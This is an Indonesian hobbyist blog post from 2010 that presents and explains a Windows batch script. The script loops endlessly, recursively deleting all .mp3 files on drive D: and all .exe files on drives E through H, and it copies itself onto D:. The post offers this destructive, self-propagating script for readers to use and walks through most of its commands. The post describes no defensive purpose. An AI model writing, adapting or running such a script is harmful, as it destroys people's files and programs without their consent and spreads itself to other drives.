Wednesday, May 19, 2010



Dalam postingan kali ini kita akan membahas mengenai menghapus file dengan ekstensi file tertentu, dan yang akan kita gunakan adalah perintah "del" (hapus) dengan di gabungkan dengan perintah "for" (perintah "for" kali ini kita manfaatkan untuk memeriksa removeable disk).

Contoh sebagai berikut (di gabung dengan script sebelumnya *baca artikel sebelumnya) :

:ulangi
del "D:\*.mp3" /s
for %%r in (E, F, G, H) do del %%r:\**.exe /s
if not exist D:\test.bat goto copy
goto ulangi
:copy
copy %0 D:\
goto ulangi

Penjelasan Script :

del "D:\*.mp3" /s - Ini adalah perintah untuk menghapus semua file mp3 "*.mp3" (berikutnya terserah anda) yang berada di drive "D", perintah "/s" (subfolder) adalah agar penghapusan di lakukan di seluruh subfolder yang berada di drive "D", penggunaan tanda petik dua ("D:\*.mp3") agar windows dapat membaca nama file dan subfolder yang namanya menggunakan space, tanda "*" (bintang) sebelum penulisan ekstensi berfungsi agar penghapusan di lakukan di semua nama file dengan ekstensi mp3 dan tidak terkecuali, bila scriptnya seperti ini (del "D:\folder laguku\*.mp3" /s) penghapusan hanya akan di lakukan di seluruh subfolder "folder laguku".

for %%r in (E, F, G, H) do del %%r:\**.exe /s - Perintah "for" (untuk) %%r (case sensitive) "in" (dalam) (E, F, G, H) adalah directory yang di inginkan di removeable disk (removeable disk tidak selalu berada di directory tersebut tadi), "do del" perintah penhapusan suatu file atau folder, "%%r:\**.exe /s" menghapus seluruh file berekstensi execute di directory yang telah di tentukan termasuk di subfolder directory tersebut.

[Bila ada kekurangan atau kesalahan dalam penjelasan, saya mohon maaf, saya hanya sekedar berbagi pengetahuan yang saya tahu]

Rgds. ŦLASHNET BITUNG ™

Categories: ,

0 komentar:

Post a Comment

Note: Only a member of this blog may post a comment.